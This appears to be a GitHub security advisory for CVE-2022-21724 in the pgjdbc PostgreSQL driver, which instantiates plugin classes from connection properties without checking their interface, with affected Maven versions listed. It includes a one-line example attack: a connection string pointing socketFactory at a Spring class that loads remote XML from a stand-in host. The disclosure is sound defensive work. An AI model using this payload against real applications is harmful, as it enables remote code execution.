GHSA-v7wg-cpwc-24m4

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

En bref

Publiée
Mise à jour
CVE
CVE-2022-21724
Alias
BIT-postgresql-jdbc-driver-2022-21724
CVSS_V3
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

### Impact pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. Here's an example attack using an out-of-the-box class from Spring Framework: ``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ``` The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)

Paquets affectés

PaquetVersions
Maven · org.postgresql:postgresqlintroduced 9.4.1208, fixed 42.2.25
Maven · org.postgresql:postgresqlintroduced 42.3.0, fixed 42.3.2

Références

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database